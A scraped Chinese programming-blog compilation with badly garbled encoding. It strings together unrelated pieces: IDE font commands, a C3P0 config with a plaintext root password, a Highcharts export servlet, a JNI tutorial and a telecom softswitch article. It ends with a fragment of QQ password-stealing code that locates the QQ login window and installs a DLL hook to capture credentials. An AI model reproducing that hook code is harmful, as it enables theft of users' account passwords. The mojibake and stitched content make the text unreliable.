??xml version="1.0" encoding="utf-8" standalone="yes"?>
cd /Applications/IntelliJ\ \IDEA.app/Contents/jbr/Contents/Home/lib/fonts
mkfontscale
mkfontdir
最q的一个项目在Hibernate使用C3P0的连接池Q数据库为Mysql。开发测试没有问题,在运行中每个一D长的空闲时间就出现异常:
查看?jin)Mysql的文,以及(qing)Connector/J的文以?qing)在U说明发玎ͼ出现q种异常的原因是Q?/p>
Mysql服务器默认的“wait_timeout”?时Q也是说一个connectionI闲过8个小ӞMysql自动断开?connection。这是问题的所在,在C3P0 pools中的connections如果I闲过8时QMysql其断开Q而C3P0q不知道该connection已经失效Q如果这时有 ClienthconnectionQC3P0该失效的Connection提供lC(j)lientQ将?x)造成上面的异常?/p>
解决的方法有3U:(x)
当然最好的办法是同时综合用上q?U方法,下面DBCP和C3P0分别做一说明Q假设wait_timeout为默认的8时
DBCP增加以下配置信息:
C3P0增加以下配置信息:
更多的配|信息大家可以查看C3P0文QConnector/J文档Q以?qing)DBCP的文档?/p>
? http://www.javaeye.com/article/38506
我自q配置:
jdbc.driverClass=com.mysql.jdbc.Driver
jdbc.jdbcUrl = jdbc:mysql://localhost:3306/test
jdbc.user = root
jdbc.password = 12345
jdbc.miniPoolSize = 1
jdbc.maxPoolSize = 20
jdbc.initialPoolSize = 1
jdbc.maxIdleTime = 25000
jdbc.acquireIncrement = 1
jdbc.acquireRetryAttempts = 30
jdbc.acquireRetryDelay = 1000
jdbc.testConnectionOnCheckin = true
jdbc.automaticTestTable = c3p0TestTable
jdbc.idleConnectionTestPeriod
jdbc.checkoutTimeout=3000
<bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource" destroy-method="close">
</bean>
![]() |
sha1: 99C1BF0396B35518DB34C1566462B3AE786744CD sha256: F5325064D1D5E25A45F1EE19E126C847E181EC7720472785429E8331252830CF sha512: BCF60EB80253C6C8D5F813A4E04FF1A84C0CF4FE64BD9D591EE592D39267EF5F7A1611C922856D960515E58087A67D6994643178ABA5C52470D4C624E27591D9 |
avalon-framework-api.jar
avalon-framework-impl.jar
batik-svg-dom.jar
batik-bridge.jar
batik-awt-util.jar
batik-gvt.jar
batik-transcoder.jar
batik-extension.jar
batik-ext.jar
commons-logging.jar
commons-io.jar
fop-0.95-1.jar
js.jar
pdf-transcoder.jar
xalan.jar
xerces.jar
xml-apis-ext.jar
xml-apis.jar
xmlgraphics-commons.jar
servlet-api.jar
Highcharts是一个用UJavaScript~写的图表库Q提供了(jin)一个交互式的图表添加到(zhn)的|站或Web应用E序的简单方法。Highcharts目前支持U,hQ面U,areasplineQ柱形图Q条形图Q饼囑֒散点囄型?/p> 同时Highcharts提供图表导Zؓ(f)囄或者PDF格式文gQ只需要在面中蝲入exporting.js文g?/p> ׃生成的图表是SVG格式Q所以导出时需要将数据发送到服务器端来进行{换。在exporting.js中默认导出地址是http://export.highcharts.com/Q另外在demo中也提供?jin)php版本?/p> 本文是介l如何在java web application中来实现导出功能?/p> 首选需要在lib中加?a target="_blank">batik jar包,如果是用maven来管理项目,则在库中只能扑ֈ1.6的版本,同时需要另外下载一个包(xml-apis-ext.jar)?/p> public class ExportHighFreqChartServlet extends javax.servlet.http.HttpServlet implements javax.servlet.Servlet { public ExportHighFreqChartServlet() { super(); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServerException, IOException { String type = request.getParameter("type"); String svg = request.getParameter("svg"); String filename = request.getParameter("filename"); filename = filename==null?"chart":filename; ServletOutputStream out = response.getOutputStream(); if (null != type && null != svg) { svg = svg.replaceAll(":rect", "rect"); String ext = ""; Transcoder t = null; if (type.equals("image/png")) { ext = "png"; t = new PNGTranscoder(); } else if (type.equals("image/jpeg")) { ext = "jpg"; t = new JPEGTranscoder(); } else if (type.equals("application/pdf")) { ext = "pdf"; t = new PDFTranscoder(); } response.addHeader("Content-Disposition", "attachment; filename="+ filename + "."+ext); response.addHeader("Content-Type", type); if (null != t) { TranscoderInput input = new TranscoderInput(new StringReader(svg)); TranscoderOutput output = new TranscoderOutput(out); try { t.transcode(input, output); } catch (TranscoderException e) { out.print("Problem transcoding stream. See the web logs for more details."); e.printStackTrace(); } } else if (ext.equals("svg")) { out.print(svg); } else { out.print("Invalid type: " + type); } } else { response.addHeader("Content-Type", "text/html"); out.println("Usage:\n\tParameter [svg]: The DOM Element to be converted. \n\tParameter [type]: The destination MIME type for the elment to be transcoded."); } out.flush(); out.close(); } } E序比较单,接收面传递的参数type、svg、filenameQ根据导出格式不同new不同的transcoder?/p> batik 1.6版本中好像没有提供对pdf格式导出的支持,所有如果程序报错,把导出为pdf的功能去掉?/p> filename和export url都有默认|可以在生成chart的配|中指定filename和我们自qexport url。在new Highcharts.Chart({})中加入下面代?/p> exporting:{
filename:'class-booking-chart',
url:'http://export.highcharts.com/'
}
其他基本可以直接将demo的数据修改ؓ(f)自己需要的?/p>
本文来自http://www.hencuo.com/archives/109 //可以讄下编码,解决中文q问题 else if (ext.equals(“svg”)) { |
作ؓ(f)主调方的Java源程序TestJNI.java如下?/p>
代码清单15-4 在Linuxq_上调用C函数的例E?#8212;—TestJNI.java
1. public class TestJNI
2. {
3. static
4. {
5. System.loadLibrary("testjni");//载入?rn)态库Qtest函数在其中实?/p>
6. }
7.
8. private native void testjni(); //声明本地调用
9.
10. public void test()
11. {
12. testjni();
13. }
14.
15. public static void main(String args[])
16. {
17. TestJNI haha = new TestJNI();
18. haha.test();
19. }
20. }
TestJNI.java声明从libtestjni.soQ注意Linuxq_的动态链接库文g的扩展名?soQ中调用函数testjni()?/p>
~译TestJNI.javaQƈ为CE序生成头文Ӟ(x)
java TestJNI.java
javah TestJNI
提供testjni()函数的testjni.c源文件如下?/p>
代码清单15-5 在Linuxq_上调用C函数的例E?#8212;—testjni.c
#include <stdio.h>
#include <TestJNI.h>
JNIEXPORT void JNICALL Java_TestJNI_testjni(JNIEnv *env, jobject obj){
printf("haha---------go into c!!!\n");
}
~写Makefile文g如下QJDK安装的位|请读者自行调_(d)(x)
libtestjni.so:testjni.o
gcc -rdynamic -shared -o libtestjni.so testjni.o
testjni.o:testjni.c TestJNI.h
gcc -c testjni.c -I./ -I/usr/java/jdk1.6.0_00/include -I/usr/java/jdk1.6.0_00/include/linux
在Makefile文g中,我们描述?jin)最l的 libtestjin.so依赖于目标文件testjni.oQ而testjni.o则依赖于testjni.c源文件和TestJNI.h头文件。请?意,我们在将testjni.oq接成动态链接库文g时用了(jin)“-rdynamic”选项?/p>
执行make命o(h)~译testjni.c。Linuxq_和在Windowsq_上类|?U方法可以让JavaE序扑ֈq装载动态链接库文g?/p>
— 动态链接库文g攄在当前\径下?/p>
— 动态链接库文g攄在LD_LIBRARY_PATH环境变量所指向的\径下。注意这一点和W(xu)indowsq_E有区别QW(xu)indowsq_参考PATH环境变量?/p>
— 在启动JVM时指定选项“-Djava.library.path”Q将动态链接库文g攄在该选项所指向的\径下?/p>
从下一节开始,我们开始接触到在JNI框架内Java调用CE序的一些高U话题,包括如何传递参数、如何传递数l、如何传递对象等?/p>
各种cd数据的传递是跨^台、跨语言互操作的永恒话题Q更复杂的操作其实都可以分解为各U?基本数据cd的操作。只有掌握了(jin)Z各种数据cd的互操作Q才能称得上掌握?jin)JNI开发。从下一节开始,环境和步骤不再是阐述的重点,不再花费专门的?q,例程中的关键点将成ؓ(f)我们x的焦炏V?/p>
到目前ؓ(f)止,我们q没有实现JavaE序向CE序传递参敎ͼ或者CE序向JavaE序传递参数。本例程由JavaE序向CE序传入一个字W串QCE序对该字符串{成大写Ş式后回传lJavaE序?/p>
Java源程序如下?/p>
代码清单15-6 在Linuxq_上调用C函数的例E?#8212;—Sample1
public class Sample1
{
public native String stringMethod(String text);
public static void main(String[] args)
{
System.loadLibrary("Sample1");
Sample1 sample = new Sample1();
String text = sample.stringMethod("Thinking In Java");
System.out.println("stringMethod: " + text);
}
}
Sample1.java?#8220;Thinking In Java”为参数调用libSample1.so中的函数stringMethod()Q在得到q回的字W串后打印输出?/p>
Sample1.c的源E序如下?/p>
代码清单15-7 在Linuxq_上调用C函数的例E?#8212;—Sample1.c
#include <Sample1.h>
#include <string.h>
JNIEXPORT jstring JNICALL Java_Sample1_stringMethod(JNIEnv *env, jobject obj, jstring string)
{
const char *str = (*env)->GetStringUTFChars(env, string, 0);
char cap[128];
strcpy(cap, str);
(*env)->ReleaseStringUTFChars(env, string, str);
int i=0;
for(i=0;i<strlen(cap);i++)
*(cap+i)=(char)toupper(*(cap+i));
return (*env)->NewStringUTF(env, cap);
}
首先h意函数头部分Q函数接收一个jstringc?型的输入参数Qƈ输出一个jstringcd的参数。jstring是jni.h中定义的数据cdQ是JNI框架内特有的字符串类型,因ؓ(f)jni.h?Sample1.h中被引入Q因此在Sample1.c中无dơ引入?/p>
E序的第4行是从JNI调用上下文中获取UTF~码的输入字W,其攑֜指针str所指向 的一D内存中。第9行是释放q段内存。第13行是经q大写{换的字符串予以返回,q一句用了(jin)NewStringUTF()函数Q将C语言的字W串指针 转换为JNI的jstringcd。JNIEnv也是在jni.h中定义的Q代表JNI调用的上下文QGetStringUTFChars()?ReleaseStringUTFChars()和NewStringUTF()均是JNIEnv的函数?/p>
本节例程首ơ尝试在JNI框架内启用数l:(x)CE序向JavaE序q回一个定长的整型数组成的数组QJavaE序该数组打印输出?/p>
JavaE序的源代码如下?/p>
代码清单15-8 在Linuxq_上调用C函数的例E?#8212;—Sample2
public class Sample2
{
public native int[] intMethod();
public static void main(String[] args)
{
System.loadLibrary("Sample2");
Sample2 sample=new Sample2();
int[] nums=sample.intMethod();
for(int i=0;i<nums.length;i++)
System.out.println(nums[i]);
}
}
Sample2.java调用libSample2.so中的函数intMethod()。Sample2.c的源代码如下?/p>
代码清单15-9 在Linuxq_上调用C函数的例E?#8212;—Sample2.c
#include <Sample2.h>
JNIEXPORT jintArray JNICALL Java_Sample2_intMethod(JNIEnv *env, jobject obj)
{
inti = 1;
jintArray array;//定义数组对象
array = (*env)-> NewIntArray(env, 10);
for(; i<= 10; i++)
(*env)->SetIntArrayRegion(env, array, i-1, 1, &i);
/* 获取数组对象的元素个?*/
int len = (*env)->GetArrayLength(env, array);
/* 获取数组中的所有元?*/
jint* elems = (*env)-> GetIntArrayElements(env, array, 0);
for(i=0; i<len; i++)
printf("ELEMENT %d IS %d\n", i, elems[i]);
return array;
}
Sample2.c涉及(qing)?jin)两个jni.h定义的整型数 相关的数据类型:(x)jint和jintArrayQjint是在JNI框架内特有的整数cd。程序的W?行开辟出一个长度ؓ(f)10 的jint数组。然后依ơ向该数l中攑օ元素1-10。第11行至W?6行不是程序的必须部分Q纯_Ҏ(gu)Z(jin)向读者们演示GetArrayLength() 和GetIntArrayElements()q两个函数的使用Ҏ(gu)Q前者是获取数组长度Q后者则是获取数l的首地址以便于遍历数l?/p>
本节例程是对上节例程的进一步深化:(x)虽然仍然是传递数l,但是数组的基cL成了(jin)字符串这样一U对象数据类型。JavaE序向CE序传入一个包含中文字W的字符ԌCE序q没有处理这个字W串Q而是开辟出一个新的字W串数组q回lJavaE序Q其中还包含两个汉字字符丌Ӏ?/p>
JavaE序的源代码如下?/p>
代码清单15-10 在Linuxq_上调用C函数的例E?#8212;—Sample3
public class Sample3
{
public native String[] stringMethod(String text);
public static void main(String[] args) throws java.io.UnsupportedEncodingException
{
System.loadLibrary("Sample3");
Sample3 sample = new Sample3();
String[] texts = sample.stringMethod("java~程思想");
for(int i=0;i<texts.length;i++)
{
texts[i]=new String(texts[i].getBytes("ISO8859-1"),"GBK");
System.out.print( texts[i] );
}
System.out.println();
}
}
Sample3.java调用libSample3.so中的函数stringMethod()。Sample3.c的源代码如下Q?/p>
代码清单15-11 在Linuxq_上调用C函数的例E?#8212;—Sample3.c
#include <Sample3.h>
#include <string.h>
#include <stdlib.h>
#define ARRAY_LENGTH 5
JNIEXPORT jobjectArray JNICALL Java_Sample3_stringMethod(JNIEnv *env, jobject obj, jstring string)
{
jclass objClass = (*env)->FindClass(env, "java/lang/String");
jobjectArray texts= (*env)->NewObjectArray(env, (jsize)ARRAY_LENGTH, objClass, 0);
jstring jstr;
char* sa[] = { "Hello,", "world!", "JNI", "?, "好玩" };
int i=0;
for(;i<ARRAY_LENGTH;i++)
{
jstr = (*env)->NewStringUTF( env, sa[i] );
(*env)->SetObjectArrayElement(env, texts, i, jstr);//必须攑օjstring
}
return texts;
}
W??0行是我们需要特别关注的地方QJNI框架q?没有定义专门的字W串数组Q而是使用jobjectArray——对象数组Q对象数l的基类是jclassQjclass是JNI框架内特有的cdQ相?于Java语言中的Classcd。在本例E中Q通过FindClass()函数在JNI上下文中获取到java.lang.String的类?QClassQ,q将其赋予jclass变量?/p>
在例E中我们定义?jin)一个长度ؓ(f)5的对象数ltextsQƈ在程序的W?8行向其中循环攑օ预先定义好的sa数组中的字符Ԍ当然前置条g是用NewStringUTF()函数C语言的字W串转换为jstringcd?/p>
本例E的另一个关注点是CE序向JavaE序传递的中文字符Q在JavaE序中能否正常显 C的问题。在W者的试验环境中,Sample3.c是在Linuxq_上编辑的Q其中的中文字符则是用支持GBK的输入法输入的,而JavaE序采用 ISO8859_1字符集存放JNI调用的返回字W,因此?#8220;代码清单15-10在Linuxq_上调用C函数的例E?#8212;—Sample3”的第14行中?其{码后输出?/p>
本节例程演示的是CE序向JavaE序传递对象数l,而且对象数组中存攄不再是字W串Q而是一个在Java中自定义的、含有一个topic属性的MailInfo对象cd?/p>
MailInfo对象定义如下?/p>
代码清单15-12 在Linuxq_上调用C函数的例E?#8212;—MailInfo
public class MailInfo {
public String topic;
public String getTopic()
{
return this.topic;
}
public void setTopic(String topic)
{
this.topic=topic;
}
}
JavaE序的源代码如下?/p>
代码清单15-13 在Linuxq_上调用C函数的例E?#8212;—Sample4
public class Sample4
{
public native MailInfo[] objectMethod(String text);
public static void main(String[] args)
{
System.loadLibrary("Sample4");
Sample4 sample = new Sample4();
MailInfo[] mails = sample.objectMethod("Thinking In Java");
for(int i=0;i<mails.length;i++)
System.out.println(mails[i].topic);
}
}
Sample4.java调用libSample4.so中的objectMethod()函数。Sample4.c的源代码如下?/p>
代码清单15-14 在Linuxq_上调用C函数的例E?#8212;—Sample4.c
#include <Sample4.h>
#include <string.h>
#include <stdlib.h>
#define ARRAY_LENGTH 5
JNIEXPORT jobjectArray JNICALL Java_Sample4_objectMethod(JNIEnv *env, jobject obj, jstring string)
{
jclass objClass = (*env)->FindClass(env, "java/lang/Object");
jobjectArray mails= (*env)->NewObjectArray(env, (jsize)ARRAY_LENGTH, objClass, 0);
jclass objectClass = (*env)->FindClass(env, "MailInfo");
jfieldID topicFieldId = (*env)->GetFieldID(env, objectClass, "topic", "Ljava/lang/String;");
int i=0;
for(;i<ARRAY_LENGTH;i++)
{
(*env)->SetObjectField(env, obj, topicFieldId, string);
(*env)->SetObjectArrayElement(env, mails, i, obj);
}
return mails;
}
E序的第9?0行读者们应该不会(x)陌生Q在上一节的?E中已经出现q,不同之处在于q次通过FindClass()函数在JNI上下文中获取的是java.lang.Object的类型(ClassQ,q将 其作为基cd辟出一个长度ؓ(f)5的对象数l,准备用来存放MailInfo对象?/p>
E序的第12?3行的目的则是创徏一个jfieldIDcd的变量,在JNI中,操作?象属性都是通过jfieldIDq行的。第12行首先查扑־到MailInfo的类型(ClassQ,然后Zq个jclassq一步获取其名ؓ(f) topic的属性,q将其赋予jfieldID变量?/p>
E序的第18?9行的目的是@环向对象数组中放入jobject对象?SetObjectField()函数属于首次使用Q该函数的作用是向jobject的属性赋|而值的内容正是JavaE序传入的jstring变量 倹{请注意在向对象属性赋值和向对象数l中攑օ对象的过E中Q我们用了(jin)在函数头部分定义的jobjectcd的环境参数obj作ؓ(f)中介。至此,JNI?架固有的两个环境入参env和objQ我们都有涉?qing)?/p>
当数据业务逐渐取代话音业务成ؓ(f)主要的收益来源时Q向以数据ؓ(f)ȝ分组|络演进不可避免。由于话音仍是一U重要的业务Q要求下一代网l必L据不同业务的要求提供相应的QoS保证。因此,形成?jin)网l技术向NGN|络演进的主要推动力?br />
二、Y交换技术的概述
固网NGN的Y交换技术现在基本上按两条技术\U来发展Q一条是传l电(sh)路交换领域的业务UL到分l承载网上来实现。另一条是全新的基于全IP的多媒体业务pȝ。对于第一条\U,传统?sh)信业务从专用TDM承蝲向统一的共享式IP/ATM多业务传输网l{U,q且在维持用h入方式不变的前提下借助接入|关完成|络层业务传输的分组化。原?sh)\交换|络讑֤被划分ؓ(f)物理上独立的控制面Y交换和承载面媒体|关两个部分Q而PSTN/ISDN/PLMN最l用户基本感觉不C务特性及(qing)接入方式的变化?br />
对于全新的基于全IP的多媒体业务pȝQ实C(jin)真正端到端的IP业务Ҏ(gu),q且引入?jin)包括话韛_内的全新实时多媒体应用。用户以SIP/H.323分组l端的方式接入Y交换|络。网l体pȝ构及(qing)业务的提供方?如SIP方式)完全不同于传l电(sh)路交换网。而UMTSUd领域?GPP R4?qing)R5两个阶段Q正好与上述软交换发展的两条技术\U相对应?br />
三、移动网的下一代核?j)网电(sh)\?/strong>
1.3GPP?sh)\域核?j)?br />
软交换在3GPP核心(j)|的应用主要在两个方面:(x)即电(sh)路域和IMS子域?GPP的R4中,?sh)\域核?j)网引入了(jin)控制和承蝲分离的网l结?见图1)?br />
? 3GPP?sh)\域核?j)?/font>
在移动交换服务器核心(j)|的?sh)\域中Q可以用承载独立的方式支持不同的传输层Q如IPQATM或TDM。电(sh)路域核心(j)|主要由MSC ServerQGMSC Server和MGWl成?br />
(1)Ud交换服务?GMSC Server和MSC Server)是UMTSUd通信pȝ中电(sh)路域核心(j)|向分组交换方式演进的核?j)设备,它独立于底层承蝲协议Q主要完成呼叫控制、媒体网x入控制、移动性管理、资源分配、协议处理、\由、认证、计费等功能Qƈ向用h?GPP R4阶段的电(sh)路域核心(j)|所能提供的业务Q以?qing)配合智能SCP提供多样化的W三方业务?br />
(2)媒体|关(MGW)Q是一U网l中的媒体{换成另一U网l所要求的媒体格式。媒体网兌够在?sh)\交换|的承蝲通道和分l网的媒体流之间q行转换Q可以处理音频、视频,能够q行全双工的媒体译Q可以演C?音频消息Q实现其它IVR功能Q也可以q行多媒体会(x)议等?br />
GMSC Server和MSC Server通过Mc接口控制MGW。GMSC Server和MSC Server之间通过Nc接口q接。MGW之间通过Nb接口q接。其中:(x)
(1)Mc接口Qؓ(f)MSC Server与MGW之间的接口,主要功能是媒体控制。用基于H.248的呼叫承载控制协议。协议内容包?GPP29.232QH.248QMeGaCo和Q.1950?br />
(2)Nc接口Qؓ(f)MSC Server?G)MSC Server之间的接口,主要解决的是用控制和承蝲分离的方式解决移动ISUP的呼叫控制。用呼叫控制与承蝲相分ȝ呼叫控制协议Q如BICCQSIP-T?br />
(3)Nb协议Qؓ(f)MGW之间的接口。主要功能是使用ATM或IP的方式承载电(sh)路域的业务,包括话音和电(sh)路域的数据承载业务。用分l交换方式对3GPP?sh)\域的承蝲协议。Nb接口的主要内容包?GPP29.415?/font>
2.3GPP2?sh)\域核?j)?br />
3GPP2定义的下一代核?j)网l包括LMSD和MMD两个部分Q其中LMSD是ؓ(f)?jin)利用Y交换l构的交换网l向用户提供?sh)\域业务而定义的QMMD则是?GPP定义的全IP相对应的|络。在3GPP2中,对cdma2000|络的传l移动电(sh)路交换域向全IP演进的方式进行了(jin)定义(见图2)?br />
(1)LMSDS需要支持的接口
|络中引入了(jin)LMSDS实体、媒体网?MGW)和媒体资源功能处理实?MRFP)。LMSDS实体包括原LMSD中的HLRQMSC和SCP功能Q分别称为HLR模拟?emulation)、MSC模拟?emulation)和SCP模拟?emulation)。LMSDS的功能主要包括传l电(sh)路域业务的控制和理Qƈ且需要支持ANSI-41|络信o(h)(MAP)QPSTN|络信o(h)(ISUP)Q媒体网关信?MEGACO)QMRF处理信o(h)(MEGACO)Q无U接入网l信?IOS-A1)和LMSDS IP呼叫建立信o(h)(SIP-T)接口?/font>
(2)MGW和MRFP需要支持的接口
MGW和MRFP主要负责各种媒体的承蝲和处理,q且提供?sh)\域业务需要的各种信号资源。需要支持的接口有:(x)
·媒体|关与RAN之间的话x载接口:(x)IOS-A2Q?br />
·媒体|关与RAN之间的电(sh)路域数据业务承蝲接口QIOS-A5Q?br />
·媒体|关与PSTN之间的承载:(x)TDMQ?br />
·LMSDS与媒体网关之间的信o(h)QMEGACOQ?br />
·LMSDS与媒体资源功能处理实体之间的信o(h)QMEGACOQ?br />
·媒体|关之间的IP承蝲?br />
四、协议和功能
1.BICC与H.248
BICC协议是一个承载与呼叫无关的协议。它的协议模型中承载控制和呼叫控制两种功能分离Q呼叫控制只负责业务程的实玎ͼ和具体的承蝲cd无关。SIP-T?G?sh)\域业务兼容能力强Q但目前仅支持IP用户面承载,而SIP协议目前也仅支持在IP上承载?br />
BICC因其体系制定的完备性,充分考虑?jin)RTP/IPQATM AAL2/AALlQTDMQMPLS{方式进行多U电(sh)路域业务承蝲|组建方式的需求,对于目前q域IP QoS机制不成熟的情况,具备条g的运营商可能?x)选择首先l徏ATM或TDM承蝲话音业务,造成多种承蝲cd|络共存的局面,而目前仅有BICC可以完成控制面与ATMQIPcL载的兼容支持?qing)交互。BICC真正作到?jin)将呼叫控制逻辑与承载相关的承蝲控制逻辑的完全分,承蝲控制逻辑(如Q.AAL2)直接在MGW间执行或(IPBCP)通过隧道方式在MGW间代理透传Q确保了(jin)承蝲模式的变化更新对软交换的业务逻辑影响最?br />
在ISUP消息中,通常?x)有一个电(sh)路识别编?CIC)作ؓ(f)参考,用来指示此消息用于哪个物理信道。如果传输和控制是分ȝQ呼叫独立于传输QATM或IP没有指定信道,不能使用CIC来指定传输信道。ؓ(f)?jin)解x制与承蝲分离的问题,ITU-T的方案是修改ISUPQ克服ISUP的限Ӟ使得传输|络真正变成与控制独立。标准化的结果就是ITU-T的承载独立呼叫控?BICC)协议。BICC的主要思想是承载控制和呼叫控制两种功能分开Q呼叫控制只负责业务程的实玎ͼ和具体的承蝲cd无关Q而承载控制是在传lISUP协议的基上,L?jin)和具体承蝲有关的消息和参数Q增加了(jin)APM消息和APP参数Q能够对多种的承载类型进行控制。APM(Application Transport Mechanism)提供?jin)传送承载连接徏立所需BICC专用信息的手Dc(din)?/font>
BICC?GPP R4?sh)\域的功能主要解决在控制和承蝲分离的方式下提供UdISUP的呼叫控制。BICC可以被用在承载Q何分l网l的环境中,如ATMQIPQTDM或其它技术。ITU已经定义?jin)两U版本:(x)
(1)BICC能力l?(CSl)。CSl是BICC的第一个版本。在2000q完?ITU-T Q.1901pd)QCSl支持H带ISDN业务在ATM传输层上传输Q它的网l模式假定呼叫控制和承蝲控制没有物理分开Q它假定MGC和MGW是集成在一个节点中Q对水^化集成的|络来说Q这是很大的一个限制?br />
(2)BICC能力l?(CS2)。ؓ(f)?jin)克服CSl的限ӞITU?000?001q间完成?jin)BICC CS2(Q.1902pd)。CS2增加的最重要的内Ҏ(gu)在网l模型中包括?jin)本C换机QMSCQTSC和GMSC。将呼叫控制和承载控制物理分开Qƈ支持IP作ؓ(f)承蝲技?br />
控制服务器ؓ(f)?jin)能在分层网l中控制q端的MGWQ用了(jin)GCP(|关控制协议)。GCP可用来控制承载的建立Q控制MGW中的资源Q如回声抑制器、编解码器和语音通知机等。机{。IETF与ITU-T合作开发了(jin)GCP协议QITU-TGCPUC为H.248Q而IETFUC为媒体网x制协?MEGA-CO)。尽两个标准化l织各自l了(jin)GCP协议不同的名字,但它们的内容是完全一L(fng)?br />
H.248工作在主从模式,q定义了(jin)q接模型Q连接模垄中有终l点、流以及(qing)兌(上下?。终l点是出/入分l网l的媒体的q接Q它允许信号应用到媒体流上,如发送忙韻I也允总媒体中接受发生的事Ӟ如收到DTMF信号。关联则是将l结点上媒体合ƈ桥接在一Pq描q媒体流之间的关pR在呼叫建立q程中,|关控制协议通过命o(h)建立l端Q描q终端的属性,控制在MGW中的资源?br />
2.TFO与TrFO
TFO(Tandem Free Operation)是一U带内的通信协议。TrFO(Transcoder Free Operation)是一U带外的Transcoder控制协议?br />
(1)TFO
TFO是一U基于目前GSM|络中用的Ҏ(gu)Q由于UMTS语音编码变换点从BSCUd?jin)核心(j)网MGWQTFO在UMTS中用需要一些修攏VTFO是在呼叫建立之后对用的~解码进行协商,使得手机到手机的呼叫可以避免在发端侧和收端侧q行不必要的语音~解码{换。由于多ơ的话音压羃/解压~处理会(x)降低端到端话韌量,增加话音时gQTFO可以明显提高话音质量和减时延。TFO既可以在BICC|络中实C可以在传l的TDM承蝲|络中实现。整个呼叫过E中Q经qTranscoder的话音通\带有TFO帧,q些TFO帧确认在呼叫中对Codec的用。如果需要的话,TFO允许q速地重新Ȁzȝ解码器。这是因为即使己被关闭,但Transcoder实际上一直存在于呼叫路径中。重新激zȝ解码器在某些情况下是必要的,如UMTS到GSM切换Q或呼叫中丢失同步等?br />
(2)TrFO
|络可以在呼叫徏立前对~解码的cd和模式进行协商,如果两端使用的编解码一P则对于移动到Ud的呼叫可以完全不l过Transcoder。TrFO的好处同h可以提高话音质量Qƈ且在分组核心(j)|中可以优化|络带宽。话x以AMR l2.2kbit/s的速率而不?4kbit/s在核?j)网中传输。由于移动网内的呼叫可以不用TranscoderQ还可以节省讑֤投资。TrFO是UMTS R4定义的新功能Q可以看作是对TFO的补充。Codec的协商在承蝲建立之前完成Q这样可以保证呼叫用适当的承载资源?/font>
五、移动网l的IP多媒体业务系l及(qing)演进
1.3GPP IMS?br />
3GPP R5的IP多媒体子?IMS)定义?jin)UMTS核心(j)|向全IP演进的网l结构。IMS提供多媒体会(x)话功能,媒体l合业务Q标准的开放性保证业务组合非常容易。IMS域提供IP|络控制QoS的能力,保障业务质量。真正支持业务的开放性,业务间的耦合性降低,可以支持极其丰富的第三方C务。IMS|络和IP|络的完结合,把IP|{变成为可理的网l。IMS提供灉|的业务计Ҏ(gu)D和计费能力Q把IP|络转变成可q营的网l。IMS|络支持各种接入方式Q业务特点与接入方式无关。已有的业务q_业务服务器,如SCP{,可以作ؓ(f)数据业务的^台在IMS|络中l发展。IMS不同于已有的各种|络Q提供真正可q营、可理、开攄增值服务网l?br />
2.3GPP2 MMD
3GPP2定义的cdma2000全IP|络l构的多媒体?MMD)核心(j)|主要包括两个子pȝQ分l数据子pȝ和IP多媒体会(x)话子pȝ。这里的IP多媒体会(x)话子pȝ?GPP的IMS子域相对应,其演q方式基本相伹{?br />
3.|络融合问题
3GPP?GPP2两种体制的移动通信|络在技术上逐渐IP化,q是一个共同的势。ƈ且网l中的IP从网l向无线接入侧g伸,从高层向低层延?br />
(1)在电(sh)路域斚wQ?GPP的分l化包括IP和ATM两种方式Q?GPP2的分l化仅有一U全IP的方式。实际上两个体系?sh)\域的IP方式基本一_(d)?GPP规定的协议相Ҏ(gu)较完善和成熟。由于目前IP方式承蝲?sh)\域业务的QoS问题q没有完全解冻I因此3GPP规定的ATM承蝲方式实现?sh)\域的业务交换Q将是NGN软交换在Ud|络中最早开始的应用?br />
(2)多媒体域斚wQ?GPP2规定的MMD最初就是依?GPP的MS子域设计的,|络l构和接口协议基本一致。因此,两种体系在这个域的融合将是必?见图3)?br />
六、结束语
Ud软交换技术作?G|络的一U重要技术受C(jin)业界的普遍关注,我国正在q行相应的行业标准制定工作。无论是固定|络q是Ud|络都在向下一代网l演q,Ud和固定NGN的融合也是未来电(sh)信网l的发展势。目前,国内多个q营商都已用Y交换技术进行试验,但由于传l的|络q营模式、业务经营模式的制约以及(qing)3G|络的逐步部vQ这U融合将需要一个较长的q程?/font>
#define ID_MYTIMER 555 SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
安装好TIMER后,下面是处理主E式的WM_TIMER消息Q凡是出现没有定义的变量Q?zhn)能够理解为是全局变量.
//处理WM_TIMER代码 if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin是否是有效的H口句柄 { HWND hLogin=NULL; g_hQQLogin = NULL; SetQQHook(NULL); //参数为NULL是卸载HOOKQ参Cؓ(f)句柄是安装句? do { //利用FindWindowEx查找QQ登陆H口Q具体参数意思请查MSDN g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的c都?32770 //扑ֈcd?32770后,再在其窗体内找一个具?#8220; dQQ”的BUTTON按纽 //q一句很关键Q假如?zhn)的QQ登陆H口上没? dQQ"字样Q那么获取密码将p|Q? hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " dQQ"); } while(g_hQQLogin != NULL && hLogin == NULL); //直到扑ֈ指定的窗口,卻I(x)QQ登陆H口 if (g_hQQLogin != NULL) { SetQQHook(g_hQQLogin);//安装HOOKQ此函数在DLL文?W二部分中介l? } }
上面是查找QQ登陆H口句柄的过E,从代码能够看出我用的Ҏ(gu)Q找一个其子窗体中有一个标题ؓ(f)“ dQQ”的BUTTON的对话框Q这句话说得有点饶口Q这句话假如也看不懂Q下面?zhn)不用看?jin)Q(Q?我最开始是惛_?FindWindow(NULL,"QQ用户登陆H口")来查找,但是我用Spy++看了(jin)QQ登陆H口的标题ƈ不是“QQ用户登陆H口”Q而是“q”Q其中包含了(jin)回R键等特别字符Q于是我用了(jin)FindWindowEx().
W二部分Q(2Q安装钩?/strong>
扑ֈ?jin)QQ登陆H口后,成功了(jin)一半?br />
下面是DLL文中的安装HOOK的函数SetQQHook(), Z么要用DLLQ动态连接库Q?要去“?#8221;其他q程的消息,得让HOOK函数在DLL中,q样好映到其地址I间中!
